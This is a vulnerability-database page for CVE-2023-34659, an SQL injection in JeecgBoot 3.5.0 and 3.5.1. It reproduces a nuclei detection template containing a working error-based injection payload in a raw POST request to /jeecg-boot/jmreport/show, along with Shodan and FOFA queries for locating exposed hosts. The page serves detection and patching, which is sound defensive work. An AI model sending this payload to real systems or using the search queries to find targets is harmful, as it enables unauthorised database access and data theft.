Browse / CVEs / CVE-2023-34659
CVE-2023-34659· jeecg / jeecg boot· CWE-89
JeecgBoot 3.5.0 - SQL Injection
criticalseverity
9.8CVSS score
12.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Upgrade JeecgBoot to a patched version or apply the necessary security patches provided by the vendor.
How to confirm it
Send: POST /jeecg-boot/jmreport/show
Positive when: contains "XPATH syntax error:" and "SQLException" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-34659 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-34659
info:
name: JeecgBoot 3.5.0 - SQL Injection
author: ritikchaddha
severity: critical
description: |
jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade JeecgBoot to a patched version or apply the necessary security patches provided by the vendor.
reference:
- https://github.com/jeecgboot/jeecg-boot/issues/4976
- https://nvd.nist.gov/vuln/detail/CVE-2023-34659
- https://github.com/izj007/wechat
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-34659
cwe-id: CWE-89
epss-score: 0.1248
epss-percentile: 0.96254
cpe: cpe:2.3:a:jeecg:jeecg_boot:3.5.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jeecg
product: jeecg_boot
shodan-query: http.favicon.hash:1380908726
fofa-query: icon_hash=1380908726
tags: cve2023,cve,jeecg,sqli,vkev,vuln
http:
- raw:
- |
POST /jeecg-boot/jmreport/show HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '"}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "XPATH syntax error:"
- "SQLException"
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200References
- https://github.com/jeecgboot/jeecg-boot/issues/4976
- https://nvd.nist.gov/vuln/detail/CVE-2023-34659
- https://github.com/izj007/wechat
Use this check only on systems you are authorised to test. Where the data comes from